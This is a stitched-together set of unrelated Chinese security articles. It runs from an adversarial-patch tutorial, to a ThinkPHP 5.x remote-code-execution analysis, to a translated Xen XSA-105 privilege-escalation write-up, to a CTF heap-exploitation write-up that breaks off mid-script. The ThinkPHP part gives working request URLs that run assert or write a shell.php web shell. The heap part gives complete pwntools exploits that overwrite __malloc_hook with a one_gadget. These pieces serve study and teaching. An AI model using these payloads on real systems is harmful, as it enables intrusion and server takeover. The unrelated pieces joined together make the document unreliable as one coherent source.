从添加的扰动层面来看，就通用性而言，对抗样本需要的扰动是特定于原样本的，而对抗补丁攻击、后门攻击所用的扰动是一次性生成，之后不论任何样本，一旦将扰动添加上去，样本就会被误分类；就扰动模式而言，对抗样本攻击、对抗补丁攻击的扰动模式是特定的像素，由算法自动生成，而后门攻击的扰动模式可以由攻击者指定，可以是有意义的图像等；就可见性而言，对抗样本攻击的本质就需要确保扰动足够小，以至于人眼无法区分，而后门攻击在近年来来实现了隐蔽的扰动，但是对抗补丁攻击由于要确保模型会将对抗补丁模式作为分类的特征，所以必须确保补丁相比于原样本而言要有足够的区分度，或者说要更加容易被模型学习，所以其可见性是最高的。
可见，任何攻击手段都有其局限性，在各方面都有所取舍。对抗攻击在攻击时最隐蔽，但是每次攻击都需要生特定扰动；对抗补丁攻击最不隐蔽，但是不需要修改模型，一旦生成扰动，将其叠加于原样本上即可实现攻击；后门攻击隐蔽性居中，生成扰动(在后门攻击中对应术语为触发器)后，将其叠加与原样本即可实现攻击，但是需要修改模型。
## 原理
前面已经说过，我们通过用补丁来替换原图像的一部分实现攻击。为了保证补丁的鲁棒性，我们对补丁应用随机的平移、缩放、旋转，并使用梯度下降进行优化。
对于给定图像x,补丁p，补丁位置l，以及补丁变换t（包括旋转、缩放），我们可以定义补丁应用操作符(patch application
operator)A(p,x,l,t),它首先将t应用到p上，然后将经过变换的补丁p放到图像x的位置l上，如下图所示
攻击者训练补丁以优化目标类别的预期概率。为了得到补丁，我们可以使用EoT[3]的变种技术,通过优化下面的公式就可以得到补丁。
其中，X是图像的训练集，T是补丁变换的分布，L 是图像中位置的分布。注意，这里的期望是针对图像的，这可以保证生成的补丁无论在什么背景下都是有效的。
这种攻击方案利用的是图像分类任务内部的决策方式。虽然一张图像可能有多个item，但是由于图像对应的标签只能有1个，所以模型必须学会检测出图像中最显著的item。而对抗补丁的目的就是通过产生比一般图像原来的item更显著的输入来导致模型根据对抗补丁做出分类结果，从而实现攻击。
其实整个实施过程和FGSM等对抗样本有点类似。本质上都是计算对于输入的梯度，然后相应地更新我们的对抗输入。但是有一定差别。首先，我们不是为每个像素计算梯度，相反地，我们先用补丁替换原图像的对应区域，然后只对补丁区域计算梯度。其次，我们并不是只为单个图像计算梯度，因为我们的攻击目标是任何图片加上我们的补丁都能欺骗模型。
## 实战
### 加载模型
我们使用预训练好的Resnet34，加载该模型
在攻击开始之前，我们先来看看模型的性能。注意一下，由于ImageNet有1000个类，仅看准确率并不足以判断模型的性能。如果有一个模型，它总是将真实标签预测为softmax输出中第二高的类别，尽管它识别了图像中的对象，但它的准确率为
0。在具有1000个类的ImageNet中，并不总是有一个明确的标签可以为图像分配。 所以我们经常会用一个常见的替代指标，即Top-5
accuracy,它告诉我们真实标签在模型的5个最可能的预测中出现了多少次。由于模型通常在这些方面表现良好，我们检测模型的error而不是accuracy：
Top-5的error已经比较低了，说明这个模型性能不错。我们可以进一步打印出测试图片，以及模型对其预测结果
上图中左边图像是测试数据，上方是其真实标签，右边是对应的预测结果。右侧的条形图显示了模型的前5个预测及其类别概率。我们用confidence置信度表示类别概率.
从预测结果来看，都是分类正确的
补丁生成
接下来我们开始看看攻击部分的代码
由于要加的补丁是nn.Parameter,它的取值范围是负无穷到正无穷，而图像取值范围是有限的，所以需要将其映射到ImageNet的图像值范围
在给定图像和补丁后，为了确保补丁对位置的鲁棒性（即不论补丁加到图像的哪个位置都可以攻击成功），我们可以按照下面的方式添加补丁，即在图像内随机选择偏移量
接下来实现评估函数，用能够欺骗网络预测攻击者指定的目标类别的次数来评估补丁的成功率
然后我们来实现制作补丁的函数，输入是要攻击的模型，目标类别，以及补丁的规模k，我们首先创建一个大小为
3×kxk的参数。给定带补丁的图像，我们使用SGD优化器来最小化模型的分类损失。一开始训练时，损失是非常高的，但一旦我们开始更改补丁，损失就会迅速下降。最后，补丁将代表目标类的特征模式。例如，如果我们希望模型将每张图像预测为金鱼类别，那么我们希望该模式看起来像金鱼。在迭代过程中，模型会微调模式，并有望实现高欺骗精度。
下面攻击时补丁可选的参数，即补丁类型和补丁规模
生成补丁后，为了更直观体验到不同类型和规模的差异，我们可以将其可视化
结果如下
可以看到不同类别和规模的补丁差异很明显。在最小规模（32×32）中，一些补丁与它们的标签明显符合。比如金鱼补丁清楚地显示了一条金鱼，从它的眼睛和颜色都能看出来。总体而言，32*32的补丁具有非常强烈的颜色，这是它们所对应标签的典型颜色（黄色的校车、粉色的唇膏、绿色的菠萝等）。而随着补丁规模变大，图像就被拉伸了。比如对于金鱼补丁而言，仍然可以看到可能代表眼睛和颜色特征的区域，但它显然不再是一条鱼了。大规模的补丁比小规模的补丁更抽象。
我们看看模型对他们的预测是怎样的
从结果可以看出，虽然规模越大的补丁在人眼看来越抽象，但是被分类的正确率反而是越高的
### 对抗补丁攻击
接下来我们开始正式进行攻击，以下是执行对抗补丁攻击的函数
我们在原图上打上金鱼补丁，也就是在每张测试图片上叠加上金鱼的图片
我们将打了补丁的图片交给模型来进行分类，结果如下。下图中每张图片的上方是正确的标签，比如第一张图片正确的标签是鲤鱼
上图有右侧的图片是模型给出的对左边对应图像的预测，可以看到打了金鱼补丁的图片，斗是以最高的置信度被分类为了金鱼。说明我们的攻击成功了。
不过我们注意到第一张鲤鱼和第三张白鲸的图片，预测为金鱼的置信度并不是100%，还有20%左右的置信度将其预测为原来的标签。
那么为了使攻击更彻底一些，我们可以加大补丁的规模，将其从32改为64，攻击结果如下
可以看到此时四张图片均以100%的置信度分类为虎鲸了。
当然，这个实验可能说服力不是很强，毕竟原来的图片其正确标签就是鱼，比如上图分别是鲤鱼、金鱼、白鲸、虎鲸，这时候打的补丁又是鱼，分类之后的结果是鱼，可能仅仅是模型训练得不够好？为了否定这种猜测，我们可以进一步做一个差别比较大的实验。
我们还是对于这四张鱼类的图片进行实验，但是打的补丁是校车，攻击结果如下
从结果可以看出，第1张和第4张的预测结果分类为校车的置信度并不是100%，同时此时攻击对于第二张图片是失效的，模型依旧将其预测为金鱼。
那么我们可以加强攻击力度，同样将调大补丁的规模，攻击结果如下
此时模型以100%的置信度将四张图像误分类为了校车，说明攻击成功了。
总结一下，这一系列实验告诉了我们两个结论：1.当我们要攻击的图像与希望模型做出误分类的类别在语义上是相关的时候，攻击更容易成功（在我们的实验里可以看到，在鱼类图像上打金鱼补丁的攻击比在鱼类图像上打校车的补丁攻击更容易成功）；2.增加补丁的规模可以使得攻击效果更好。
## 参考
1.Brown T B , D Mané, Roy A , et al. Adversarial Patch[J]. 2017.
2.[https://www.youtube.com/watch?v=i1sp4X57TL4&feature=youtu.be](https://www.youtube.com/watch?v=i1sp4X57TL4&feature=youtu.be)
3.Athalye A , Engstrom L , Ilyas A , et al. Synthesizing Robust Adversarial
Examples[J]. 2017.
4.<https://github.com/jhayes14/adversarial-patch>
5.<https://github.com/A-LinCui/Adversarial_Patch_Attack>
6.<https://github.com/sukrutrao/Adversarial-Patch-Training> | 社区文章 |
## 0x00简介
2018年12月10日中午，thinkphp官方公众号发布了一个更新通知，包含了一个5.x系列所有版本存在被getshell的高风险漏洞。
吃完饭回来看到这个公告都傻眼了，整个tp5系列都影响了，还是getshell。
（以下截图为后截图，主要是想讲一下自己从无到有，如何分析漏洞，整个过程是怎么样的）
## 0x01 漏洞原理
下午睡醒，赶紧起来分析漏洞。
结合官方公告说的由于对控制器名没有足够的检测，再查看官方git commit信息
拉一个tp下来，用的是tp 5.1.29的版本，windows+phpstudy 一把梭，搭建好环境。
在官方修改的地方加断点（thinkphp\library\think\route\dispatch\Module.php），加载默认的控制器来分析。
请求:
http://127.0.0.1/index.php/index/index/index
命中断点
一步步跟进controller的走向，发现在同文件下的 exec函数，实例化控制器
跟进controller方法，thinkphp\library\think\App.php
使用parseModuleAndClass方法来解析，继续跟进
分析一下代码，发现会有一个判断，当控制器名中包含了反斜杠，就会直接返回，继续跟踪。
此处没有包含，所以会进入下面的判断，最后使用parseClass来解析，跟进parseClass函数
发现经过parseName之后index变成了首字母大写，原因是经过了命名风格转换。
最后会将命名空间类名等进行拼接
返回我们带命名空间的完整类名。
跟进，回到了controller方法，此时判断类是否存在，不存在会触发自动加载类。
之后就是实例化类，使用反射来调用类的相应方法了。（偷懒省略掉了，主要是介绍一下分析的主要过程）
大概流程摸清楚了，那么这个漏洞是怎么触发的呢？
在跟踪的时候我们发现，类名都是带有完整的命名空间的，而命名空间恰好就是使用反斜杠来划分，结合那一个判断代码：反斜杠是否存在，直接返回类名的操作。
不难想到是可以调用任意类的方法。
比如这样？
http://127.0.0.1/index.php/index/think\app/index
请求一下，发现报错了。
what the fuck？ 我的反斜杠怎么变成了正斜杠了？而且这个控制器怎么获取的是Think？
猜测是浏览器的原因，用bp发包一样如此，那么还有没有其他方法可以获取到呢？
翻了一下tp的配置文件
发现可以使用s来获取参数，那么我们就可以尝试这样请求
http://127.0.0.1/index.php?s=/index/think\app/index
成功实例化了App类，因为没有index 方法所以这里会报错。
但已经验证了整个漏洞的原理。
> 控制器过滤不严，结合直接返回类名的代码操作，导致可以用命名空间的方式来调用任意类的任意方法。
形如：
http://127.0.0.1/index.php?s=/index/namespace\class/method
漏洞点找到了，那么接下来就是找利用点了。
## 0x02 漏洞利用
tp 5.1.29 简单找了个写shell的方法，看到thinkphp\library\think\template\driver\File.php 文件
有一个完美的写shell方法。
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
执行之后会在根目录下写入shell.php ，内容是输出phpinfo();
那么tp 5.0要怎么利用呢？？
接下来就是踩坑之旅了。
## 0x03 无尽的踩坑
把tp 5.1的payload，拉过去打一发，发现报错了，控制器不存在？？
猜测是5.0和5.1的文件可能不一样，打开一看，都一样啊，怎么加载不了。
上断点，跟踪。此处省略一万字。
跟踪半天发现类加载器有这么一行代码。位置： thinkphp\library\think\Loader.php 方法 autoload
以及一开始的获取控制器的时候 会判断是否自动转换控制器，将控制器名变成小写。
而这个url_convert配置项默认是true。
而我们的类文件名是大写的。
那么在win下，由于严格区分大小写，所以必然不会加载到相应的类文件。
（图中判断，由于IS_WIN为True，!IS_WIN必为False，逻辑与，一个为False条件就成立。）
虽然最终由于绑定参数的问题导致该方法依然不可以用（这个问题就不展开分析了）
但是这个win环境的问题确实卡了我很久。
也难怪别人的payload都是这样那样的，原来是linux的环境，可以加载的类多了不少。
最终也导致5.0的自己没有找到利用的类。
## 0x04兼容多平台的payload
综上，由于Windows的原因，所以有一些payload在windows的主机上是不可以利用的。
那么哪些payload是可以兼容多个平台呢？
由于windows自动加载类加载不到想要的类文件，所以能够下手的就是在框架加载的时候已经加载的类。
5.1是下面这些：
think\Loader
Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
think\Error
think\Container
think\App
think\Env
think\Config
think\Hook
think\Facade
think\facade\Env
env
think\Db
think\Lang
think\Request
think\Log
think\log\driver\File
think\facade\Route
route
think\Route
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\Cookie
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File
5.0 的有：
think\Route
think\Config
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang
think\Log
think\Loader
两个版本公有的是：
think\Route
think\Loader
think\Error
think\App
think\Env
think\Config
think\Hook
think\Lang
think\Request
think\Log
本想找出两个版本共有的利用类和方法，但由于类文件大多被重写了，所以没耐住性子一一去找（菜）
所以，payload为上述类的利用方法，是可以兼容windows和linux多个平台的，兼容多个平台有什么用呢？插件批量可以减少误判等，一条payload通用，一把梭多好。
比如:
5.1.x php版本>5.5
http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
5.0.x php版本>=5.4
http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
## 0x05 总结
至此，算是把整个漏洞分析记录讲完了，和p喵呜聊的时候，他也是被win坑的老惨。
所以珍惜生命，远离windows xd。
还有就是自己太菜了，给各位大佬递头。 | 社区文章 |
# Xen攻击第一篇：XSA-105--从nobody到root
|
##### 译文声明
本文是翻译文章，文章来源：Au2o3t@360云安全团队
原文地址：<http://blog.quarkslab.com/xen-exploitation-part-1-xsa-105-from-nobody-to-root.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
原链: [http://blog.quarkslab.com/xen-exploitation-part-1-xsa-105-from-nobody-to-root.html](http://blog.quarkslab.com/xen-exploitation-part-1-xsa-105-from-nobody-to-root.html)
**作者: Jeremie Boutoille**
**译者: Au2o3t/360云安全团队**
**审校: Terence/ 360云安全团队**
**本文介绍 Xen-105[1]CVE-2014-7155)的利用,介绍并演示在 Linux 4.4.5 上的完整利用开发。**
****
Xen作现代虚拟化平台的一个重要代表,它的安全性值得全世界黑客的关注。本文将在已经披露的编号为XSA-105(CVE-2014-7155)的Xen漏洞的基础上进行攻击尝试,尽管
Andrei Lutas 曾撰文描述过该漏洞的原理和触发方法[2][3][4],但我们并未发现任何该漏洞的公开利用。
所以我们将在本文对该漏洞作详细的介绍并演示如何通过这个漏洞在 4.4.5
的Linux平台下进行完成的漏洞利用(该方法也可能工作在其它版本上),从nobody用户权限到root权限的华丽提升。
(视频见:https://asciinema.org/a/b1xnd4fyy4krquxvrppbttvff)
****
**环境**
该漏洞所需的Xen版本至少需要要在3.2.x以上,这里我们选择 4.1.6.1
无补丁版。目前我们了解到该漏洞能在HVM模式客户机(HVM[5])上提权(普通用户到root用户)。
参照 Xen 术语,HVM客户机是基于如 Intel VT 或 AMD-V 虚拟化扩展的完全虚拟化。
另一种则是半虚拟化(PV)。运行在虚拟机管理器上的内核通常在启动时即检测到 Xen,并出于效率采用名为 PVOPS[6] 的半虚拟化扩展。由于 Linux
内核的默认编译选项启用了这个 PVOPS 扩展,所以我们要禁用这个选项,编译一个自定义的内核。
**
**
**Dom0**
Dom0[7][8]是由 Xen 启动加载的初始虚拟机。它是权限最大的客户机,其可以进行 Xen 管理。我们的Dom0选择 Debian 7.9.0。
一些编译依赖:
apt-get build-dep xen
接着,编译和安装:
make install -j4 && update-grub
重启 Dom0,在 grub 中选择Xen模式启动。为使用 xl 命令,必须调整链接路径。且 xencommons 服务必须启动:
echo "/usr/lib64" >> /etc/ld.so.conf
insserv xencommons
service xencommons start
**
**
**DomU**
第二步需要创建一个 HVM 客户机。因 PVOPS 扩展是默认启用的,大多数 Linux 发行版其实上是PV模式的。我们选择用Archlinux
[9]安装为 HVM 客户机。在编译选项中禁用 PVOPS:“Processor type and features -> Linux guest
support (CONFIG_HYPERVISOR_GUEST=n)”。
加载 HVM DomU 的 xl
配置文件比较简单。为了能够成功进行漏洞利用,我们的HVM虚拟机设置为包含2个(或以上)CPU。为便于演示,在我们的例子里,客户机由一个直接在物理机中创建的
qcow 格式镜像加载。其网络接口选择与虚拟机管理器网络桥接,这样我们可以通过 SSH 连接我们的客户机。配置文件如下:
kernel = '/usr/lib/xen/boot/hvmloader'
builder='hvm'
memory = 1024
name = 'hvm_arch'
vcpus = 2
vif = ['bridge=xenbr0']
disk = ['tap:qcow:/root/VM2.img.qcow,xvda,w']
device_model_version = 'qemu-xen-traditional'
sdl=0
serial='pty'
vnc=1
vnclisten="0.0.0.0"
vncpasswd=""
**_
_**
_**XSA-105**_ __
**_描述_**
_该漏洞位于对 hlt_ _,lgdt_ _,lidt_ _和 lmsw_ _指令的仿真[1]_ _:_
_问题描述_
_对 HLT_ _,LGDT_ _,LIDT_ _和 LMSW_ _指令的仿真未能正确执行特权模式权限检查。_
_然而,这些指令通常不由模拟器处理。_
_除非:_
_–_ _这些指令的内存操作数(若有)存在于(仿真的或通过模式的)内存映射的 IO_ _空间,_
_–_ _客户机运行在32_ _位PAE_ _模式下,当此指令(在执行流中)在四个指令中且其中一个指令是做页表更新操作的,_
_–_ _当客户机发出无效操作码异常,且其(可能恶意的)修改此指令为受影响的指令之一。_
_恶意的客户机用户模式代码可能利用该漏洞来安装自己的中断描述符表(IDT_ _)。_
我们从上文得知两点:
·对 HLT,LGDT,LIDT 和 LMSW 指令的仿真未能正确执行特权模式权限检查。因此,一个非特权代码(3环)可能运行这些指令。
·这些指令通常不被模拟,这意味着我们必须找到一种方法来模拟它们。第三个条件似乎是最容易实现的,这也是 Andrei Lutas[2] 所采用的解决方案。
Andrei Lutas 已经在他的论文[2]中提供了一份出色的漏洞代码讲解,需要的话,一定要读他的论文。
**
**
**利用**
在存在漏洞的这几个指令中,只有两个可能导致潜在的提权:lgdt 和
lidt。它们分别允许改变全局描述符表寄存器(GDTR)和中断描述符表寄存器的值(IDRT)。GDTR 和 IDTR
格式相同:高位包含基址,低位定义长度[10]。这些值定义全局描述符表(GDT)和中断描述符表(IDT)地址。
根据Intel 手册,不允许非特权代码执行这些指令(lgdt,lidt)。若用户可以加载自己的 GDT 或 IDT,将导致任意代码执行和特权提升。见下文。
**
**
**中断描述符表(** **IDT** **)**
IDT 是 x86中的
中断向量表[10],它是一个基本的表,它将一个中断号与一个中断处理程序关联起来。由条目号决定中断号,且每个条目都包含一些字段如:类型、段选择器、偏移量、特权等级等。中断处理程序地址是通过段基址(由段选择器决定)和偏移量相加得来的。
若用户可以加载自己的
IDT,那么他就可以指定一个恶意的条目,使用内核代码段选择器将一个中断连接到他自己的处理程序。为避免稳定性问题,中断必须转发到原来的中断处理程序处。因为处理程序运行在内核空间,这是可以做到的,它可以从原
IDT 处读取条目。使用 sidt 指令前必须预先保存原 IDT,因为必须在返回用户空间前恢复它。但是,我们并没有测试它。
Andrei Lutas 采用 IDT 的解决方案[2],我们选择采用GDT 方法。
**
**
**全局描述符表(** **GDT** **)**
GDT 是用于定义内存段的。每一个条目包含:基址,限制,类型,权限描述符(DPL),读写位等等:
struct desc_struct {
union {
struct {
unsigned int a;
unsigned int b;
};
struct {
unsigned short limit0;
unsigned short base0;
unsigned int base1: 8, type: 4, s: 1, dpl: 2, p: 1;
unsigned int limit: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
};
};
} __attribute__((packed));
如今,平坦模型是最为常用的内存分段模式。每个描述符以不同的权限和标志映射整个内存(所有的安全检查以分页进行)。
大多数情况下,至少有6个 GDT 条目:
·32-bit 内核代码段 (dpl = 0)
·64-bit 内核代码段 (dpl = 0)
·内核数据段 (dpl = 0)
·32-bit 用户代码段 (dpl = 3)
·64-bit 用户代码段 (dpl = 3)
·用户数据段 (dpl = 3)
当前内存段由段寄存器指定。常见的段选择寄存器包括代码选择器,堆栈选择器,数据选择器等。每个段选择器有16位长。第3到15位作为 GDT 索引,第2位表示是
LDT还是GDT 选择器,第0和1位表示请求权限(RPL)。
我们的实验中还有另一种非常有趣的条目:调用门。调用门的目的是为了协助不同权限级之间的转移。这种条目是内存描述符的两倍大(64位模式下)且另有其它字段:
·一个段选择器
·偏移量
·权限描述符(DPL)
要访问一个调用门,用户必须执行一个远程调用。此远程调用必须指定调用选择器。这个选择器与其它选择器具有相同的格式(GDT中的索引,LDT 或 GDT
选择器,段请求权限)。
CPU 根据调用门条目中指定的段选择器得到段基址,加上调用门偏移,达到程序入口点。
当然,这里也有一些权限检查,涉及4个权限级:
·当前权限级(CPL)
·远程调用选择器中的请求权限级(RPL)
·调用门描述符权限级(CDPL)
·段描述符权限级(SDPL)
必须满足三个条件:
·CPL <= CDPL
·RPL <= CDPL
·SDPL <= CPL
满足这些条件,调用门程序才会执行。我们需用创建一个DPL=3的调用门,段选择器指向内核代码段,以及一段提权代码。那么:
·CPL = 3
·RPL = 0
·CDPL = 3
·SDPL = 0
·CPL <= CDPL == True
·RPL <= CDPL == True
·SDPL <= CPL == True
整合起来
利用过程:
1\. 构造一个GDT,使用平坦分割模型,包含一个 DPL=3 的调用门。
2\. 保存当前的 GDTR 。
3\. 创建2个互相等待的线程(仅用于同步)。
4\. 第一个线程执行一个 ud2 指令,同时第二个线程以 lgdt [rbx] 指令修补 ud2 指令(详情见 Andrei Lutas 的论文[2])。
5\. 如果我们不是太慢,lgdt [rbx] 指令的仿真应该发生了。
6\. 远程调用
7\. #
远程调用程序首先重新加载原来的 GDTR
;然后执行commit_creds(prepare_kernel_cred(0));,这个函数在调用任何内核函数和返回用户空间之前必须调用一个 swapgs
;以 retf 指令退出。
**演示和利用见,**
演示:<https://asciinema.org/a/b1xnd4fyy4krquxvrppbttvff>
利用:[http://blog.quarkslab.com/resources/2016-05-25_xsa-105/code/xsa105_exploit.tar.gz](http://blog.quarkslab.com/resources/2016-05-25_xsa-105/code/xsa105_exploit.tar.gz)
**结论**
此漏洞能造成具有多CPU 的HVM客户机的提权。我们利用调用门机制来实现任意代码执行,而 Andrei Lutas 则是利用中断处理程序。这只是个
PoC,需要满足一定的前提条件。因为调用门处理程序在用户内存空间,guest 中不能开启 SMEP。利用代码通过调用
commit_creds(prepare_kernel_cred(0))获取根权限,如果设置了 kptr_restrict,我们将无法通过
/proc/kallsyms 获取函数地址。
这是我第一次进行Xen的漏洞分析,这是非常有趣的,我鼓励任何有兴趣的人做同样的事:查看一个漏洞公告,并且写出利用,把它拿去赚钱或者公开 😉
之后的博文将谈论从客户机到宿主机的逃逸及利用过程,敬请关注!
[1] (1, 2) <http://xenbits.xen.org/xsa/advisory-105.html>
[2] (1, 2, 3, 4, 5, 6) <https://labs.bitdefender.com/wp-content/uploads/downloads/2014/10/Gaining-kernel-privileges-using-the-Xen-emulator.pdf>
[3] <https://www.cert-ro.eu/files/doc/896_20141104131145076318500_X.pdf>
[4] <https://labs.bitdefender.com/2014/10/from-ring3-to-ring0-xen-emulator-flaws/>
[5] <http://wiki.xen.org/wiki/Xen_Project_Software_Overview#Guest_Types>
[6] <http://wiki.xenproject.org/wiki/XenParavirtOps>
[7] <http://wiki.xen.org/wiki/Dom0>
[8] <http://wiki.xen.org/wiki/Dom0_Kernels_for_Xen>
[9] <https://wiki.archlinux.org/index.php/installation_guide>
[10] (1, 2) <http://download.intel.com/design/processor/manuals/253668.pdf> | 社区文章 |
# pwn学习-BUUOJ wp（heap）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 babyheap_0ctf_2017
一道菜单堆题，所有保护都开启了。
先来看看申请chunk的函数，可以申请16块chunk，然后有一个数组来进行存储，每申请一块chunk占用数组的三个位置，分别表示下标已占用，size大小和chunk的content地址。注意这里用了calloc来申请chunk，每次分配内存之前会先将内存的内容清空。
void __fastcall add(__int64 *a1)
{
int index; // [rsp+10h] [rbp-10h]
int size; // [rsp+14h] [rbp-Ch]
void *chunk; // [rsp+18h] [rbp-8h]
for ( index = 0; index <= 15; ++index )
{
if ( !LODWORD(a1[3 * index]) )
{
printf("Size: ");
size = input_num();
if ( size > 0 )
{
if ( size > 4096 )
size = 4096;
chunk = calloc(size, 1uLL);
if ( !chunk )
exit(-1);
LODWORD(a1[3 * index]) = 1;
a1[3 * index + 1] = size;
a1[3 * index + 2] = (__int64)chunk;
printf("Allocate Index %d\n", (unsigned int)index);
}
return;
}
}
}
再看看edit函数，这里输入的大小size，程序并没有对size的范围进行判断，也就是说存在溢出。
__int64 __fastcall edit(__int64 *a1)
{
__int64 result; // rax
int index; // [rsp+18h] [rbp-8h]
int size; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = input_num();
index = result;
if ( (int)result >= 0 && (int)result <= 15 )
{
result = LODWORD(a1[3 * (int)result]);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = input_num();
size = result;
if ( (int)result > 0 )
{
printf("Content: ");
result = input_content(a1[3 * index + 2], size);
}
}
}
return result;
}
然后free掉chunk或也进行了置零操作，没什么好说的。
我们可以先通过泄露出unsortbin的bins头来泄露libc的基址，然后将one_gadget的地址写入`__malloc_hook`
，然后在进行分配的时候就能够getshell了。
我们可以先申请这样几块chunk：，然后我们就要想办法伪造一块free掉的chunk，使其fd指针指向unsortbin的bins头，然后进行输出泄露出地址。
我们可以对第0块chunk进行溢出，修改chunk1的size位，修改后的size位要能够覆盖chunk1和chunk2，因此可以修改为0xb1，然后free掉chunk1，此时这一大块chunk就会放入unsortbin中，再申请一块大小为0x10的chunk，bin中就剩下了chunk2这块chunk，但是实际上这块chunk没有被free掉，但是此时他的fd指针已经指向了unsortbin的bins头，直接输出就能够泄露出libc的基址了。
add(0x10) # 0
add(0x10) # 1
add(0x80) # 2
add(0x10) # 3
在gdb中查看一下这个地址，发现与main_arena偏移为88，在之上可以找到`__malloc_hook`
的地址，借此泄露出libc的基址。然后我们还能再这之前找到一处适合伪造chunk的地址，伪造大小为0x71的chunk，通过修改rfree掉的chunk的fd指针指向此处，然后把它申请出来，就可以对`__malloc_hook`
进行修改了。
gdb-peda$ x /gx 0x7ffff7dd1b78
0x7ffff7dd1b78 <main_arena+88>: 0x00005555557570c0
gdb-peda$ x /gx 0x7ffff7dd1aed
0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000
gdb-peda$
0x7ffff7dd1af5 <_IO_wide_data_0+309>: 0x000000000000007f
gdb-peda$
0x7ffff7dd1afd: 0xfff7a92ea0000000
gdb-peda$
0x7ffff7dd1b05 <__memalign_hook+5>: 0xfff7a92a7000007f
gdb-peda$
0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f
exp:
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
# io = process('./0ctf_2017_babyheap')
io = remote('node3.buuoj.cn', 27412)
libc = ELF('./libc-2.23.so')
def add(size):
io.sendlineafter('Command: ', '1')
io.sendlineafter('Size: ', str(size))
def edit(index, size, content):
io.sendlineafter('Command: ', '2')
io.sendlineafter('Index: ', str(index))
io.sendlineafter('Size: ', str(size))
io.sendafter('Content: ', content)
def delete(index):
io.sendlineafter('Command: ', '3')
io.sendlineafter('Index: ', str(index))
def display(index):
io.sendlineafter('Command: ', '4')
io.sendlineafter('Index: ', str(index))
io.recvuntil('Content: \n')
add(0x10) # 0
add(0x10) # 1
add(0x80) # 2
add(0x10) # 3
payload = 'a' * 0x10 + p64(0) + p64(0xb1)
edit(0, len(payload), payload)
# gdb.attach(io)
delete(1)
add(0x10) # 1
display(2)
unsortbin = u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print(hex(unsortbin))
libc_base = unsortbin - 88 - 0x10 - libc.symbols["__malloc_hook"]
one = 0x4526a + libc_base
fake_chunk = unsortbin - 88 - 0x10 - 0x23
add(0x80) # 4
add(0x60) # 5
add(0x10) # 6
delete(5)
payload = 'a' * 0x80 + p64(0) + p64(0x71) + 'a' * 0x10 + p64(0) + p64(0x71) + p64(fake_chunk)
edit(4, len(payload), payload)
add(0x60) # 5
add(0x60) # 7 / fake
payload = 'a' * 0x13 + p64(one)
edit(7, len(payload), payload)
add(0x10)
io.interactive()
## 0x01 hitcontraining_uaf
from pwn import *
io = remote('node3.buuoj.cn',27690)
# io = process('./hacknote')
def add(size, content):
io.sendlineafter('Your choice :', str('1'))
io.sendlineafter('Note size :', str(size))
io.sendlineafter('Content :', content)
def delete(index):
io.sendlineafter('Your choice :', str('2'))
io.sendlineafter('Index :', str(index))
def show(index):
io.sendlineafter('Your choice :', str('3'))
io.sendlineafter('Index :', str(index))
add(16, 'aaaa')
add(16, 'aaaa')
delete(0)
delete(1)
add('8', p32(0x08048945))
show(0)
io.interactive()
## 0x02 [ZJCTF 2019]EasyHeap
检查一下保护机制，开启了canary和NX保护，RELRO是Partial RELRO，说明got表可写。
反编译一下，是一道菜单题，`create_heap()`
里利用了一个heaparray来存储用户申请的chunk，一共可以存储十个chunk。这里根据申请的大小来决定读取数据的长度，没有溢出。
for ( i = 0; i <= 9; ++i )
{
if ( !*(&heaparray + i) )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
size = atoi(buf);
*(&heaparray + i) = malloc(size);
if ( !*(&heaparray + i) )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:");
read_input(*(&heaparray + i), size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
再来看一下编辑块，这里的v2是读取数据的长度，由用户输入且没有对其进行检查，存在溢出。
if ( *(&heaparray + v1) )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
v2 = atoi(buf);
printf("Content of heap : ");
read_input(*(&heaparray + v1), v2);
puts("Done !");
}
然后看一下删除块，free掉chunk后，对数组中的指针进行了置零，没有uaf。
if ( *(&heaparray + v1) )
{
free(*(&heaparray + v1));
*(&heaparray + v1) = 0LL;
puts("Done !");
}
然后在main函数中有这样一段代码，如果输入4869且bss段的一个参数magic大于0x1305，则调用`l33t()` 函数
if ( v3 == 4869 )
{
if ( (unsigned __int64)magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}
而`l33t()` 函数中是这样，似乎可以直接输出flag，但是其实flag并不在这个路径下，不过也因此给我们提供了system函数。
int l33t()
{
return system("cat /home/pwn/flag");
}
这里我们在arraylist存储位置的前面不远处找到了一处地址 `0x6020ad`
，这里的第二个八字节处是0x7f，可以用来伪装chunk块，可以利用fastbin
attack来申请到这块地址，然后对heaparray进行复写，将free函数的got表地址写入，然后使用一幕提供的edit()对其进行修改，将system函数的plt表地址写入，就可以将free函数修改为system函数，然后执行存储数据为`/bin/sh`的chunk进行删除，就可以执行`system("/bin/sh")`了。
这是原来修改，magic的值得exp，结果被题目骗了(气：
from pwn import *
io = remote('node3.buuoj.cn',25547)
# io = process('./easyheap')
def add(size, content):
